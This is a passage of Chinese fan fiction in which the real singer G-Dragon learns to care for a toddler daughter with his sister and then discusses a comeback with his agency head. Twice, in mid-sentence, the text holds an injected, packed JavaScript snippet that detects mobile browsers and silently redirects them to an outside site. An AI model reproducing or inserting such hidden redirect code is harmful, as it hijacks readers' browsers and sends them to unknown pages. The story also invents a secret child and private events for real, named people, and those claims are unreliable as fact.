多美挂了电话,转过头,正好对上权志龙的目光。“醒了?”她合上育儿指南,声音恢复了正常音量,“去洗漱。厨房有温水,冰箱里有意式浓缩,你自己弄。” 权志龙点点头,目光在贤智身上停留片刻,才转身走进洗手间。镜子里的男人眼下有淡淡的青黑,头发睡得翘起几撮。他打开水龙头,冷水扑在脸上,带来清醒的刺痛。 等他洗漱完出来,多美已经抱着贤智坐到了餐桌旁。她面前的平板电脑上显示着某个高端婴幼儿用品的网站,手指快速滑动浏览。贤智被她放在一张从储物间翻出来的旧餐椅上——看起来是多美自己以前用过的,铺上了干净的软垫。 “她几点醒的?”权志龙走过去,在对面坐下。 “五点半左右。”多美头也不抬,继续浏览商品,“自己醒了,没哭,就在摇篮里玩手指。我刚好在处理工作邮件,听到动静就进来了。”她顿了顿,补充道,“比我想象中安静得多。我朋友家一岁半的孩子,早上醒来能把屋顶掀了。” 权志龙看向贤智。她正伸手去够餐桌中央的盐罐,小胳膊伸得笔直,指尖勉强碰到玻璃罐的边缘。多美余光瞥见,不动声色地把盐罐往远处挪了挪,顺手递给她一个硅胶牙胶。 贤智接过牙胶,看了看,塞进嘴里,继续安静地啃。 “她……通常这个时间醒?”权志龙问。他对婴幼儿的作息一无所知。 “寄养家庭给的作息表上写着,早上六点到六点半是起床时间。”多美从平板电脑下抽出一张打印纸推过来,“我大致看了。一岁半,白天还需要一到两次小睡,晚上七八点入睡。饮食以软烂食物为主,配方奶补充。” 权志龙接过表格,上面密密麻麻的时间点和注意事项让他头晕。 “今天你先看着我做。”多美终于放下平板,站起身,“从冲奶粉开始。你以前碰过奶粉罐吗?” “……没有。” 多美毫不意外地挑了挑眉。“那就学。”她走向开放式厨房,从柜子里拿出一罐全新的奶粉——显然是连夜让人送来的,还有一个未拆封的奶瓶套装。“水温先试,滴在手腕内侧,不烫不凉才行。” 接下来的半小时,权志龙觉得自己像在参加一场突击培训。多美虽然没有育儿经验,但执行力和学习能力极强。她一边对照着手机里搜索的步骤,一边指挥权志龙操作。 “奶粉勺要刮平,不能多也不能少。” “摇晃奶瓶的动作要轻,不能上下猛摇,会产生气泡。” “喂的时候奶瓶要倾斜,确保奶嘴里充满奶。” 权志龙手忙脚乱。第一次试水温,差点烫到自己;舀奶粉时洒出来一些;摇晃奶瓶的姿势僵硬得像在摇沙锤。贤智被多美抱着,安静地看着他笨拙的操作,那双大眼睛里没什么情绪,只是专注地观察。 当他把终于冲好、温度适宜的奶瓶递过去时,手心竟然有点冒汗。 贤智接过奶瓶,抱在怀里,却没有立刻喝。她看了看奶瓶,又抬头看了看权志龙,然后做了一个让两人都愣住的举动—— 她把奶瓶往权志龙的方向,轻轻递了递。 小小的手臂伸着,奶瓶悬在空中。 权志龙完全不明白这是什么意思,茫然地看向姐姐。 多美看着贤智,又看看弟弟,沉默了几秒,才不太确定地说:“她可能……想让你喂?” 权志龙怔住。 他迟疑地伸出手,接过奶瓶,然后在多美的眼神示意下,小心翼翼地在贤智旁边坐下。贤智主动往他身边挪了挪,靠着他,然后张开小嘴。 权志龙僵硬地举着奶瓶,调整角度,将奶嘴轻轻送到她嘴边。贤智含住,开始小口吮吸。她的眼睛半睁半闭,长长的睫毛垂下来,专注地喝着奶。 客厅里很安静。多美已经转身去继续处理平板上的订单,但余光不时瞥向他们。 权志龙保持着那个姿势,手臂有些酸,但不敢动。他看着怀里这个小小的生命依偎着自己,温顺地喝着奶,一种奇异的感觉再次涌上心头——陌生,笨拙,却又带着一丝难以言喻的、被需要的暖意。 贤智喝奶很慢,很专心。喝到一半时,她停了下来,松开奶嘴,打了个小小的嗝。权志龙连忙学着多美之前示范的样子,轻轻拍她的背。贤智任由他拍着,然后转过头,看了他一眼。 这一次,她的目光在他脸上多停留了几秒。清澈的瞳孔里,映出他有些紧张的脸。 然后,她重新含住奶嘴,继续喝。 等贤智喝完奶,多美也准备好了简单的早餐:煎蛋、烤吐司、蔬菜沙拉,还有给贤智的一小份即食婴儿果泥。三人坐在餐桌边。贤智被固定在餐椅里,面前放着吸盘碗和软头勺。 吃饭时,多美继续“布置任务”。 “你公寓那边,我今天联系了室内设计师和安全顾问,下午过去。儿童房必须立刻弄,防护措施要做足——窗户护栏、家具边角防护、电源插座保护盖,一样都不能少。” 权志龙切着煎蛋,点点头。他的公寓是极简风格,到处都是锐利的线条和易碎的艺术品,确实不适合幼儿活动。“好。” “还有,你得尽快掌握基本流程。”多美用下巴指了指贤智,“喂奶、换尿布、洗澡、哄睡。我让助理采购了必需品,下午送到你那里。至于育儿知识,”她把那本厚厚的《0-3岁婴幼儿护理大全》推到权志龙面前,“你自己看。我昨晚翻了前几章,重点都标出来了。” 权志龙看着那本堪比字典的书,太阳穴跳了跳。 贤智正用小手抓着小勺,试图自己吃果泥。她的手还不稳,勺子歪歪扭扭地送向嘴边,大部分果泥糊在了脸颊和围兜上,只有少量进了嘴。但她很坚持,一次又一次地把勺子往嘴边送,神情专注得仿佛在进行某种重要的仪式。 权志龙看着女儿满脸的果泥,想伸手帮她擦,却被多美用眼神制止。 “让她自己试。”多美低声说,眼睛却盯着手机屏幕上助理发来的采购清单,“这个阶段的孩子需要练习精细动作。弄脏了没关系,吃完再收拾。” 正说着,贤智手里的勺子一歪,一大坨苹果泥掉在了餐盘上,发出“啪”的一声轻响。 贤智盯着那坨果泥看了两秒,然后伸出食指,小心翼翼地戳了戳。黏糊糊的触感让她皱了皱小鼻子,但她没有哭闹,而是抬起头,看向权志龙。 她的眼神很干净,像在问:这是什么? 权志龙和她对视,忽然觉得有点好笑。他抽了张湿巾,轻轻擦掉她手指上的果泥,又指了指碗里剩下的:“还有,继续吃。” 贤智似乎听懂了,低下头,继续和勺子奋战。 多美看着这一幕,嘴角几不可察地弯了一下。她放下手机,拿起自己的咖啡杯:“对了,爸妈那边,你打算什么时候说?” 权志龙手上的动作顿了顿。“尽快。但……需要点时间想好怎么说。” “周末吧。”多美啜了一口咖啡,“我约他们来我这里吃饭。你带着贤智过来,慢慢说。我这边环境私密,比去你那里或者回父母家都合适。” “好。”权志龙松了口气。有姐姐安排,事情似乎总能清晰一些。 早餐在一种微妙的平静中结束。多美去收拾厨房,权志龙负责给贤智擦脸洗手。他动作依然生疏,湿巾擦过贤智柔软的脸颊时,生怕力气大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135651|196261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。贤智很配合,仰着小脸让他擦,只是当他擦到她下巴时,她忽然咧开嘴,露出一个很浅的、几乎看不见的笑容。 不是大笑,只是嘴角轻轻上扬了一下,眼睛微微弯起。 权志龙愣住了。 那是他第一次看见贤智笑。 虽然转瞬即逝,很快就恢复了平日的安静表情,但那个笑容像一道微光,猝不及防地照亮了这个混乱清晨的某个角落。 他下意识地看向厨房,多美背对着他们,正在洗碗。 “姐,”他开口,声音有点干,“她刚才……笑了。” 多美关掉水龙头,转过身,靠在料理台边。她看着权志龙,又看看贤智,脸上没什么特别的表情,只是点了点头。 “嗯。”她说,然后转过身,重新打开水龙头。 但权志龙看见,在转身的瞬间,姐姐的肩膀几不可察地放松了些许。 上午的时间过得很快。多美处理工作邮件和电话,权志龙则抱着那本育儿大全,一边看一边试图和贤智互动。贤智大部分时间都安静地坐在地毯上玩积木,或者抱着兔子发呆。权志龙按照书上的建议,尝试和她说话,给她读绘本,但她反应平淡,只是偶尔抬头看看他,又低头玩自己的。 “别急。”多美不知何时走了过来,递给他一杯水,“她需要时间适应。你对她来说,还是个陌生人。” 权志龙接过水杯,没有说话。他看着贤智低头摆弄积木的侧影,那个小小的、安静的背影,让他心里某个地方隐隐发涩。 中午,多美点的外卖送到了。清淡的韩餐,还有专门给贤智准备的婴儿辅食包。加热辅食包时,权志龙又经历了一次“技术挑战”——微波炉加热后需要搅拌散热,他差点又被烫到。 贤智对辅食包的兴趣似乎不大,只吃了几口就开始玩勺子。多美看了看时间:“她该午睡了。你抱她去客房,试试哄睡。” 权志龙抱着贤智走进客房,按照书上的建议,拉上窗帘,营造昏暗安静的环境。他坐在床边,贤智靠在他怀里,手里抓着兔子玩偶。 该做什么?唱歌?讲故事?他脑子一片空白。 最后,他凭着模糊的记忆,哼起了一段旋律——不是他自己的歌,也不是什么童谣,而是一首很久以前听过的、不知名的钢琴曲。旋律简单,舒缓,带着一点点忧伤。 他哼得很轻,断断续续,甚至有些跑调。 贤智起初还睁着眼睛,慢慢地,她的眼皮开始打架。小手无意识地攥着他的衣角,呼吸逐渐变得均匀绵长。 就在她即将完全入睡时,权志龙的手机突然在口袋里震动起来。 嗡—— 贤智猛地睁开眼睛,眼神里闪过一丝受惊的茫然。 权志龙立刻按住手机,震动停止。他低头看怀里的小人儿,贤智正看着他,眼眶微微泛红,但没有哭。 “对不起,”他低声说,拍了拍她的背,“睡吧,没事了。” 贤智盯着他看了几秒,然后重新闭上眼睛,往他怀里缩了缩。 这一次,她睡得更沉。 权志龙轻轻将她放回摇篮,盖好被子,才拿出手机。屏幕上显示着“金南国”的名字,还有一条未读信息:「志龙,杨社长想约你明天下午见面。关于你之后的计划。回复?」 权志龙盯着那条信息,又回头看了看摇篮里熟睡的贤智。 窗外,秋日午后的阳光透过窗帘缝隙,在地板上投下窄窄的光带。尘埃在光中飞舞,安静,缓慢。 他低头打字:「明天下午可以。地点你定,安静些。」 发送。 然后他关掉手机,放回口袋,在摇篮边的地毯上坐下。 摇篮里,贤智翻了个身,小手在睡梦中无意识地摸索着,碰到了摇篮边缘。权志龙伸出手,轻轻握住那只小手。 温热的,柔软的,带着幼儿特有的、微微汗湿的触感。 贤智在睡梦中动了动,手指蜷缩起来,握住了他的食指。 权志龙没有抽回手。 他就这样坐着,在姐姐家的客房里,在退伍归来的第二天午后,任由熟睡的女儿握着自己的手指。 阳光在地板上缓慢移动。 窗外的首尔,车流如织,人声熙攘。 而在这个安静的房间里,时间仿佛流淌得格外缓慢。 一种全新的、尚未命名的生活,就这样,带着奶渍、果泥、生疏的育儿步骤和偶尔闪现的细微笑容,悄然开始了。 4. 第四章 旧日与新闻 贤智午睡醒时,已经是下午三点。 权志龙一直坐在摇篮边的地毯上,维持着那个被她握着手指的姿势,直到手臂发麻,才小心翼翼地抽出来。他活动了一下僵硬的肩膀,走到窗边,掀起窗帘一角往外看。 汉南洞的街道在秋日午后显得安静而疏离。偶尔有车辆驶过,带起几片枯黄的落叶。远处,汉江在灰蓝色的天空下泛着金属般的光泽。 身后传来窸窸窣窣的声响。他回过头,贤智已经醒了,正坐在摇篮里,揉着眼睛,怀里抱着兔子玩偶。她的头发睡得有些乱,几缕碎发贴在额头上,眼神里还带着初醒的茫然。 “醒了?”权志龙走过去,声音不自觉地放柔。 贤智看了他一眼,又低头看了看怀里的兔子,然后伸出小手,抓住了摇篮边缘,似乎想要站起来。权志龙连忙伸手扶住她,小心翼翼地把她从摇篮里抱出来。 “想喝水吗?”他问,抱着她走向客厅。 多美不在客厅。餐桌上留了张便签:「工作室有急事,大概六点回来。冰箱里有准备好的辅食,加热就能吃。育儿书第87页是洗澡步骤,自己看。」 权志龙抱着贤智,看着那张便签,无奈地笑了笑。姐姐永远是姐姐,干脆利落,不拖泥带水。 他把贤智放在客厅地毯上,塞给她两个软胶玩具,然后去厨房加热辅食。这一次他稍微熟练了些,至少没被微波炉烫到。加热好的蔬菜鸡肉泥散发出淡淡的香气,他用小碗盛好,试了试温度,才端出来。 贤智对午餐的兴趣依然不大,吃了小半碗就开始玩勺子。权志龙也不勉强,按照书上说的,不强喂,让她自己决定吃多少。收拾完餐具,他看着坐在地毯上安静玩玩具的贤智,又看了看墙上的钟——距离多美回来还有两个多小时。 该做什么? 他环顾四周。客厅的书架上除了多美的设计类书籍和艺术画册,还有几本相册。他走过去,抽出一本看起来最旧的。 封面是深蓝色的天鹅绒,边角已经磨损。翻开,第一页是一张泛黄的照片——五六岁的权多美抱着一个两三岁的小男孩,站在父母家的院子里。小男孩剃着光头,穿着背带裤,对着镜头笑得眼睛眯成一条缝。 那是他。 权志龙的手指抚过照片表面。记忆像被拨动的琴弦,发出遥远而模糊的回响。那个院子,那棵柿子树,姐姐总喜欢把他抱到树下的石凳上,说要给他“设计造型”。 他继续往后翻。小学时的舞台表演,初中时和朋友们在练习室里的鬼脸,高中时第一次在夜店演出青涩的模样……然后,是BigBang出道早期的照片。五个青涩的少年,穿着夸张的打歌服,在狭小的待机室里挤在一起,对着镜头比着幼稚的V字手势。 照片里的他笑得毫无负担,眼睛里闪烁着对未来的狂热期待。 权志龙翻页的手指停了下来。 下一张照片,是2011年MAMA颁奖典礼的后台。他们刚拿下年度专辑奖,五个人抱在一起,太阳的眼泪糊了满脸,大声笑得后槽牙都露出来,他则举着奖杯,对着镜头做出“第一名”的手势。 那时的他们,以为世界就在脚下。 再往后,照片逐渐变少。取而代之的是杂志剪报、演唱会海报、品牌代言宣传照……照片里的他,妆容越来越精致,造型越来越前卫,笑容却越来越标准化,眼神里多了某种难以言说的疏离和疲惫。 他合上相册,放回书架。 一回头,发现贤智不知何时爬到了他脚边,正仰着小脸看他。她的目光落在他手里的相册上,带着一点好奇。 权志龙在她旁边坐下,把相册摊开,翻到第一页。“这是爸爸。”他指着那张光头小男孩的照片,“很小的时候。” 贤智盯着照片看了几秒,又抬头看看他,似乎无法把照片里那个笑得傻气的小孩和眼前的人联系起来。 权志龙笑了笑,又往后翻了几页,找到一张相对清晰的家庭合照——父母坐在中间,姐姐和他站在后面。那大概是他中学时期,头发染成了夸张的金色,戴着耳钉,对着镜头扮酷。 “这是爷爷奶奶,”他指着照片里的父母,“这是姑姑。” 贤智伸出小手,指尖轻轻碰了碰照片里权多美的脸,又碰了碰照片里年轻权志龙的脸。然后她抬起头,看向他,眼神里带着询问。 “嗯,”权志龙点头,“是爸爸。” 贤智似懂非懂,又低头看照片。她的手指在照片上慢慢移动,从一个人移到另一个人,动作很轻,很专注,仿佛在通过触感理解这些陌生的面孔。 客厅里很安静,只有窗外隐约传来的车声和贤智指尖摩擦相册纸张的细微声响。 权志龙看着她低垂的小脑袋,忽然想起寄养家庭朴女士的话:“这孩子……太安静了。” 他伸出手,轻轻摸了摸她的头发。“贤智啊,”他轻声说,像是在自言自语,“你想妈妈吗?” 贤智的动作停住了。 她抬起头,看向权志龙。那双浅褐色的大眼睛里,没有什么强烈的情绪,只有一种清澈的、近乎透明的茫然。 然后,她低下头,不再看照片,而是抱紧了怀里的兔子玩偶,把脸埋进兔子已经稀疏的绒毛里。 权志龙的心脏像是被什么东西轻轻攥了一下。 他意识到自己可能说错了话。对于一个一岁半、刚刚失去母亲不久的孩子来说,“妈妈”这个词,或许意味着一种她无法理解、却又本能渴望的缺失。 他放下相册,把贤智抱起来,让她靠在自己怀里。“对不起,”他低声说,“爸爸不该问这个。” 贤智没说话,只是把脸埋在他肩头,小手紧紧攥着他的衣领。 权志龙抱着她,在客厅里慢慢踱步。窗外,天色渐渐暗下来,城市开始亮起灯火。他哼起那首不知名的钢琴曲,旋律在安静的客厅里低回。 不知过了多久,贤智僵硬的小身体慢慢放松下来。她没有睡着,只是安静地靠着他,呼吸均匀。 玄关传来钥匙转动的声音。 门开了,权多美走了进来,手里还拎着一个纸袋。她脱下外套,看了眼客厅里的景象,挑了挑眉:“没哭没闹?” “嗯。”权志龙点头,“很安静。” 多美把纸袋放在餐桌上,走过来看了看贤智。“脸色看起来还行。”她伸手摸了摸贤智的额头,“没发烧。” “你工作室的事处理完了?”权志龙问。 “暂时告一段落。”多美走向厨房,“有个品牌方的合作出了点问题,需要紧急调整方案。”她打开冰箱,拿出食材,“晚上吃简单点,炒饭,可以吗?” “可以。” 多美开始准备晚餐。权志龙抱着贤智坐在沙发上,打开电视。新闻台正在播放娱乐新闻,女主播的声音在客厅里响起: “……YG娱乐今日股价继续下跌,受此前旗下艺人丑闻影响,公司市值已蒸发近三分之一。业界分析认为,权志龙退伍后的动向将成为YG能否稳住局面的关键……” 权志龙握着遥控器的手指紧了紧。 画面切到YG大楼外,记者围堵着进出的工作人员,闪光灯连成一片。接着,屏幕上出现了一张他退伍当天的模糊侧影照——戴着帽子口罩,看不清表情。 “权志龙于昨日正式退伍,目前尚未公开露面。业界对其下一步计划猜测纷纷,是solo回归,还是BigBang重组?而YG娱乐目前面临的信任危机,是否会对其个人事业产生影响?” 多美从厨房探出头,瞥了一眼电视。“关了吧。” 权志龙按下遥控器,屏幕暗下去。客厅重新陷入安静,只有厨房传来的炒菜声。 贤智似乎对电视不感兴趣,注意力被多美放在餐桌上的纸袋吸引了。她从权志龙怀里滑下来,摇摇晃晃地走到餐桌边,踮起脚尖想够纸袋。 “那里面是给你的东西。”多美头也不回地说。 权志龙走过去,打开纸袋。里面是几套婴幼儿衣物,质地柔软,设计简洁,还有几本新的绘本和一套安全无毒的洗澡玩具。 “谢谢。”他说。 “不用谢我。”多美关掉火,把炒饭盛出来,“是助理去买的。我给了她清单。”她端着盘子走过来,看了眼贤智,“先吃饭,吃完给她洗澡。我今天累死了,没力气帮你。” 晚餐在沉默中度过。贤智被喂了几口炒饭里的软烂蔬菜和米饭,吃得很勉强。多美吃得很快,吃完就回自己房间处理邮件了,留下权志龙收拾残局。 洗碗时,权志龙的手机震动起来。是金南国。 他擦干手,接起电话:“南国哥。” “志龙啊,明天和杨社长见面的地点定好了,在公司附近的一家私人会所,下午三点。”金南国的声音听起来有些疲惫,“社长想和你单独聊聊。” “知道了。” “还有……”金南国犹豫了一下,“今天下午,有记者拍到你和多美姐一起进出公寓的照片。虽然很模糊,贤智也被你裹着毯子看不清,但……可能会有猜测。” 权志龙沉默了几秒。“让他们猜吧。” “志龙,我知道你现在心思都在孩子身上,但舆论这块,我们得有个准备。”金南国语重心长,“尤其是现在这个敏感时期,YG股价跌成这样,很多人都盯着你。” “我明白。”权志龙说,“明天见面我会和社长谈。” 挂断电话,他靠在料理台边,看向客厅。贤智坐在地毯上,正试图把新绘本的硬纸板页撕下来,小眉头因为用力而微微皱着。 手机又震动了一下。这次是社交媒体的推送通知——某个娱乐论坛的热帖标题:「G-Dragon退伍首日行踪成谜,疑似与神秘女子同行?」 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135652|196261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他点开,快速浏览。帖子里的照片果然很模糊,只能看出他和多美的轮廓,贤智被毯子裹着,完全看不出是孩子。评论已经盖了几百楼,各种猜测都有:新恋情?秘密约会?甚至有人猜是私生女,但很快被其他人以“孩子看起来很小,时间线对不上”为由反驳。 权志龙关掉页面,把手机放回口袋。 多美不知何时又出现在客厅,手里拿着睡衣和毛巾。“该给她洗澡了。”她把东西放在沙发上,“育儿书第87页,自己看。我去洗澡,完事叫我。” 说完,她就进了主卧的浴室。 权志龙叹了口气,认命地翻开那本厚重的育儿书。第87页详细介绍了给婴幼儿洗澡的步骤、水温和注意事项,还配有示意图。他仔细读了两遍,才抱着贤智走进客房的浴室。 给一岁半的孩子洗澡,比他想象中更艰难。 调水温就试了半天,太热怕烫着,太凉怕感冒。把贤智放进婴儿浴盆时,她虽然没哭,但明显紧张,小手紧紧抓着浴盆边缘,身体僵硬。权志龙按照书上的指示,先用小毛巾轻轻打湿她的头发和身体,让她适应。 “不怕,”他低声说,动作尽量放轻,“爸爸在。” 贤智盯着他看,抓着小鸭子玩具的手松了松。 洗发水不小心弄进眼睛里时,贤智终于哭了。不是大哭,只是小声地抽泣,眼泪混着水流下来,小脸皱成一团。权志龙手忙脚乱地用清水冲洗,用柔软的毛巾擦干她的脸,不停地说“对不起”。 等洗完澡,用浴巾裹着抱出来时,权志龙自己也被溅了一身水。但他顾不上自己,先把贤智擦干,穿上柔软的睡衣,再用婴儿吹风机的低档慢慢吹干她细软的头发。 整个过程,贤智都很配合。哭过之后,她就安静下来,任由他摆布,只是眼睛还红红的,鼻尖也红红的,看起来可怜又可爱。 等一切弄完,权志龙已经出了一身汗。他把贤智抱到客厅,多美正好从主卧出来,换了家居服,头发还湿着。 “洗完了?”她走过来,检查了一下贤智,“嗯,还行。头发吹干了,没感冒的风险。”她看了眼权志龙湿透的衬衫,“你自己也去洗洗吧。我来给她读绘本。” 权志龙如蒙大赦,赶紧回客房洗澡。等他洗完出来,客厅里只开着一盏落地灯,多美坐在沙发上,贤智靠在她怀里,已经半闭着眼睛。多美手里拿着一本绘本,正用很低的声音读着故事。 “……小兔子说,我爱你,从这里到月亮那里。”多美的声音和平日里的干脆利落不同,带着一种罕见的柔和,“兔妈妈说,我爱你,从这里到月亮那里,再绕回来。” 贤智的眼睛已经完全闭上了,呼吸均匀。 权志龙站在客厅入口,没有进去。他看着灯光下姐姐和女儿的剪影,心里某个地方,忽然变得很软,很安静。 多美合上绘本,轻轻拍着贤智的背,直到她彻底睡熟,才抬头看向权志龙。“睡着了。抱她去摇篮吧。” 权志龙走过去,小心翼翼地把贤智抱起来。她睡得很沉,小脸贴着他的胸口,温热的气息透过薄薄的睡衣传来。 “明天你去见杨社长,”多美压低声音说,“孩子放我这里。我让助理调整了日程,明天一天都在家。” “谢谢姐。” 多美摆摆手。“别说这些。倒是你,”她看着权志龙,眼神锐利,“想清楚明天要谈什么。孩子的事,你打算告诉公司吗?” 权志龙沉默了片刻。“看情况。如果社长问到,我不会隐瞒。” “也好。”多美点点头,“迟早要知道。但记住,贤智的隐私是第一位的。任何可能伤害她的条款,都不能签。” “我知道。” 多美看了他一会儿,忽然伸手,拍了拍他的肩膀。“去吧,早点睡。明天……估计不会轻松。” 权志龙抱着贤智走进客房,轻轻把她放进摇篮,盖好被子。贤智在睡梦中咂了咂嘴,翻了个身,小手摸索着找到了兔子玩偶,抱进怀里。 他坐在床边,看着女儿沉睡的侧脸。 明天。 和YG社长杨贤硕的会面,将是他退伍后第一次正式面对事业上的抉择。公司动荡,团队名存实亡,公众期待,媒体窥探……所有这些,都将被摆上谈判桌。 而此刻,在这个安静的房间里,他唯一确定的,是摇篮里这个小小的、依赖着他的生命。 手机屏幕亮了一下,是金南国发来的明日会面的详细地址和时间。 权志龙看了一眼,关掉屏幕。 窗外,首尔的夜色深沉。远处,汉江大桥上的灯火连成一条蜿蜒的光带,像一条沉默流动的星河。 他躺上床,闭上眼睛。 明天会怎样,他不知道。 但至少今夜,在这个房间里,有一个孩子安睡,有一个姐姐在隔壁,而他,不再是孤身一人。 5. 第五章 谈判桌与摇篮曲 私人会所在清潭洞一条僻静的小巷深处,门面低调,只挂着一块小小的黑色招牌,上面用极细的金色字体刻着法文店名。权志龙推门进去时,风铃发出清脆的叮铃声。 内部是典型的韩式现代风格,深色木材、低矮的茶桌、柔和的间接照明。空气中飘着淡淡的沉香和咖啡混合的气味。时间还早,除了角落一桌低声交谈的商务人士,几乎没有其他客人。 侍者认出了他,但训练有素地没有表现出任何异样,只是礼貌地引他走向最里面的包厢。拉门推开,杨贤硕已经坐在里面了。 这位YG娱乐的创始人兼社长,看起来比两年前苍老了些,眼角的皱纹更深,头发也白了几缕。但他穿着依然一丝不苟,深灰色西装,浅蓝色衬衫,没有打领带,姿态放松地靠在坐垫上,面前放着一杯热气腾腾的普洱茶。 “来了。”杨贤硕抬起头,脸上露出一个惯常的、带着些疲惫的笑容,“坐。” 权志龙在他对面坐下,脱下外套搭在一边。“社长。” 侍者无声地退出去,拉上移门。包厢里只剩下他们两人,以及窗外隐约传来的、被厚重玻璃隔绝后的城市背景音。 杨贤硕没有立刻切入正题,而是拿起茶壶,给权志龙也倒了一杯茶。“部队生活怎么样?吃苦了吧。” “还好。”权志龙接过茶杯,没有喝,只是握在手里,感受着瓷器的温热。 “瘦了。”杨贤硕打量着他,“但也结实了。气色比我想象中好。”他顿了顿,啜了一口茶,语气随意地问,“听说你退伍那天,是南国去接你的?” “嗯。” “他没带你回公司看看?大家都很想你。” 权志龙抬起眼,看向杨贤硕。“社长今天找我来,不是单纯叙旧吧。” 杨贤硕笑了笑,放下茶杯,身体微微前倾,手指无意识地摩挲着杯沿。“志龙啊,你知道公司现在的情况。” 不是疑问句。 权志龙没有接话,等着下文。 “股价跌了三分之一。”杨贤硕的语气平静,像是在陈述一个与己无关的事实,“合作品牌解约了七个,还有三个在观望。新团出道计划全部推迟,现有艺人的活动也受到波及。”他顿了顿,目光落在权志龙脸上,“外面都说,YG完了。” “所以呢?”权志龙问。 “所以我们需要你。”杨贤硕的声音压低了些,带着一种久居高位的、不容置疑的笃定,“BigBang虽然……暂时无法以完整体活动,但你的solo回归,可以稳住市场信心。你是权志龙,是G-Dragon。只要你站上舞台,发出声音,那些质疑和唱衰就会闭嘴。” 权志龙沉默着,看着茶杯里漂浮的茶叶缓缓沉底。 “我已经让制作部准备了几个方案。”杨贤硕从身旁的公文包里拿出一份文件夹,推到权志龙面前,“概念、合作音乐人、编舞团队、视觉设计……都是顶级的。你可以看看,不满意我们可以调整。时间上,我希望能在明年第一季度之前,至少先发一支单曲,然后筹备正规专辑和亚洲巡演。” 权志龙没有碰那份文件夹。 “社长,”他开口,声音很平静,“我可能需要一些时间。” 杨贤硕脸上的笑容淡了些。“时间?志龙,我们没有太多时间了。市场不会等,粉丝不会等,竞争对手更不会等。你退伍的消息已经传开了,所有人的眼睛都在盯着你下一步的动作。” “我知道。”权志龙说,“但我个人……有一些情况需要处理。” “什么情况?”杨贤硕问,眼神变得锐利。 包厢里的空气似乎凝滞了几秒。窗外的光线被厚重的窗帘过滤,只剩下昏暗的暖黄,落在深色的木桌上,在茶杯边缘投下浅浅的阴影。 权志龙深吸一口气,抬起眼,直视着杨贤硕。“我有个女儿。” 杨贤硕脸上的表情凝固了。 时间仿佛被拉得很长。沉香的气味在空气中缓慢盘旋,窗外隐约传来汽车驶过的声音,又被玻璃隔绝成模糊的背景音。 “女儿?”杨贤硕重复了一遍,语气里听不出情绪,“多大?” “一岁半。” “母亲呢?” “病逝了。” 又是几秒的沉默。杨贤硕向后靠去,手指在膝盖上轻轻敲击着,眼神在权志龙脸上停留,似乎在评估这句话的真实性和背后的含义。 “什么时候的事?”他问。 “孩子是去年三月出生的。我昨天退伍后才正式接到监护权。”权志龙顿了顿,“法律手续已经办完了。” 杨贤硕点了点头,动作很慢,像是在消化这个信息。他重新拿起茶杯,喝了一口,茶已经有些凉了。“所以,你昨天没回公寓,是去接孩子了。” “是。” “现在孩子在哪?” “在我姐姐那里。” 杨贤硕沉默了片刻,目光落在权志龙面前那份未动的文件夹上。“志龙啊,”他的语气放缓了些,带着一种长辈式的、语重心长的口吻,“我理解你现在的心情。突然成为父亲,一定很慌乱,需要时间适应。但是……”他顿了顿,“事业不能停。你是艺术家,是YG的支柱,也是很多人的希望。” 权志龙没有说话。 “孩子的事,我们可以处理。”杨贤硕继续说,语气变得务实而冷静,“保密工作做好,暂时不对外公开。你可以请最好的保姆、育儿师,把孩子安置在安全隐蔽的地方。这些公司都可以帮你安排,费用不是问题。你只需要专注于音乐和回归准备,其他事情,交给专业的人去做。” “社长,”权志龙打断了他,“我不想把她藏起来。” 杨贤硕的眼睛眯了起来。“什么意思?” “她是我的女儿,不是需要被处理的‘问题’。”权志龙的声音依然平静,但每个字都很清晰,“我会照顾她,亲自照顾。这需要时间,也需要调整我的工作节奏。” “亲自照顾?”杨贤硕的语气里带上了一丝难以置信,“志龙,你知道一岁半的孩子需要多少精力和时间吗?喂奶、换尿布、哄睡、陪玩……你是个顶级艺人,你的时间应该花在创作、排练、演出上,而不是这些琐事。” “对我来说,这不是琐事。”权志龙说,“这是责任。” 杨贤硕盯着他看了几秒,忽然笑了,但那笑容里没什么温度。“责任?志龙,你对粉丝没有责任吗?对公司没有责任吗?对那些靠你吃饭的工作人员没有责任吗?你现在说要为了一个孩子放缓甚至暂停事业,你想过后果吗?” “我没有说要暂停。”权志龙说,“我只是需要调整。音乐我会做,演出我也会参加,但我需要更灵活的时间安排,需要保证有足够的时间陪她。” “灵活?”杨贤硕摇头,“志龙,这个行业没有‘灵活’。回归期的宣传日程是以分钟计算的,巡演是连轴转的,录音室一待就是十几个小时。你怎么‘灵活’?带着孩子上通告?还是让保姆抱着孩子在待机室等你?” 权志龙的嘴唇抿成一条直线。 “听我说,”杨贤硕身体前倾,声音压低,带着一种迫人的压力,“你现在最应该做的,是把孩子交给可靠的人照顾,然后全身心投入工作。等你的事业重新站稳,等这一切风波过去,等你有足够的能力和资源给她最好的生活,再来谈什么‘亲自照顾’。而不是现在,在YG最困难、你最需要证明自己的时候,被一个孩子拖住脚步。” 包厢里再次陷入沉默。权志龙看着杨贤硕,看着这位他十几岁就认识、一手将他推上巅峰、也曾在他低谷时给予支持的社长。他明白对方话里的逻辑——商业的、现实的、利益最大化的逻辑。 